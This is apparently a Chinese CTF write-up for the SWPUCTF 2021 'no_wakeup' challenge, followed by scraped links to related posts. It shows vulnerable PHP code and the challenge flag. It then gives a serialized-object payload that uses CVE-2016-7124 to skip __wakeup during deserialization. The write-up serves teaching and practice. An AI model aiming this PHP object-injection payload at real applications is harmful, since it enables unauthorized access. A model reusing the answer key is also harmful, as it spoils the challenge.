[SWPUCTF 2021 新生赛]no_wakeup

考点

反序列化

一、题目

打开题目发现如下代码

 <?phpheader("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);}public function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag;}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?> NSSCTF{58480194-3db4-490b-a0ed-6c086409f007}

二、WP

题目很简单,只需要使得admin=admin并且passwd=wllm,则可获取到flag,但是其中多了一个__wakeup的魔术方法,此魔术方法的调用条件:

当使用unserialize时被调用,可用于做些对象的初始化操作。

此魔术方法在CTF中经常利用到以下知识点:

__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

接下来我们编写payload

<?phpclass HaHaHa{public $admin="admin";public $passwd="wllm";}$a=new HaHaHa();echo serialize($a);?>
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

然后我们利用CVE-2016-7124,也就是刚刚的__wakeup()函数漏洞,绕过__wakeup()

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

[SWPUCTF 2021 新生赛]no_wakeup相关推荐

  1. [SWPUCTF 2021 新生赛]第一波放题(nssctf刷题)

    [SWPUCTF 2021 新生赛]jicao json_decode介绍: json_decode (PHP 5 >= 5.2.0, PECL json >= 1.2.0) json_d ...

  2. [SWPUCTF 2021 新生赛]easyrce

    打开题以后发现这个界面,需要构造url的值,然后就想起来看一下目录 ?url=system("ls /");注意:ls后面要有一个空格,然后一个分号结束,这不就出来了flag 1: ...

  3. [SWPUCTF 2021 新生赛]babyrce

    打开界面看见if选项admin=1果断想到用burp抓包然后cookie给admin=1,获取下一步指令  然后url访问, <?php error_reporting(0); highligh ...

  4. [SWPUCTF 2021 新生赛]

    [SWPUCTF 2021 新生赛]jicao 进入环境: <?php highlight_file('index.php'); include("flag.php"); $ ...

  5. CTF笔记 [SWPUCTF 2021 新生赛]pop

    文章目录 一些常见魔术方法 [SWPUCTF 2021 新生赛]pop 总结 这一类题目比较考验对一段代码的逻辑方面的理解,通过利用魔数方法进行互相调用,形成一条链子,利用这条链子将对象联系起来去拿f ...

  6. [SWPUCTF 2021 新生赛] 第三波放题

    [SWPUCTF 2021 新生赛]easyupload3.0 首先弄个报错出来,随便弄一下,比如弄出一个not found页面,发现是Apache/2.4.7 (Ubuntu) ,既然是 Apach ...

  7. [SWPUCTF 2021 新生赛]PseudoProtocols

    [SWPUCTF 2021 新生赛]PseudoProtocols 一.题目 二.WP 1.打开题目,发现提示我们是否能找到hint.php,并且发现URL有参数wllm.所以我们尝试利用PHP伪协议 ...

  8. [SWPUCTF] 2021新生赛之Crypto篇刷题记录(11)

    [SWPUCTF] 2021新生赛之Crypto篇刷题记录① [SWPUCTF 2021 新生赛]crypto6 [SWPUCTF 2021 新生赛]ez_caesar [SWPUCTF 2021 新 ...

  9. [SWPUCTF 2021 新生赛]caidao

    看到这个界面,直接用蚁剑连接,密码是wllm. 找到根目录,flag就在/flag中

最新文章

  1. 【python教程入门学习】Pandas是什么
  2. OKR落地,实践经验总结两个点比较重要
  3. 科大星云诗社动态20210907
  4. 【用户行为即时分析查询】 数据仓库实现 案例分享
  5. lvs主从服务器转发风暴(广播风暴、大流量)
  6. 我回答的一个粉丝关于用编程语言模拟SAP事务的问题
  7. Jetty 类载入问题处理
  8. 人工智能——图像分析第二期练习
  9. Stackoverflow的见解:投票最多的是Spring 4问题
  10. csdn的blog后台程序的导航菜单的实现
  11. 金山云服务器内网带宽,性能提升40%!第三代金山云服务器全面覆盖不同企业计算力需求...
  12. 2018 NLPCC Chinese Grammatical Error Correction 论文小结
  13. iOS底层探索之Runtime(五): 消息转发
  14. 牛津3000释义词典_常见英语词典集锦
  15. php代码,IP地址归属地批量查询功能
  16. mysql省市联动_sql全国 省市 联动级联
  17. 领导力与团队管理上课笔记--上
  18. Transition 总结
  19. python 实现otu表水平转化
  20. AI全自动原创视频生成器-震撼来袭

热门文章

  1. android开发如何修改应用程序图标、应用程序名称
  2. 一位老师对学生的人生寄语(Z)
  3. 计算机老师任课教师寄语,任课老师寄语
  4. 读书笔记-精准努力-三阶段 感触深
  5. pygame游戏开发系列3-显示文字
  6. vue项目实现前端权限控制
  7. shell脚本定义数组、遍历数组的方法
  8. UVA 10277 Boastin' Red Socks
  9. python元组启蒙半透明窗口无标题窗口tkinter
  10. win7下双显示器的顺序调整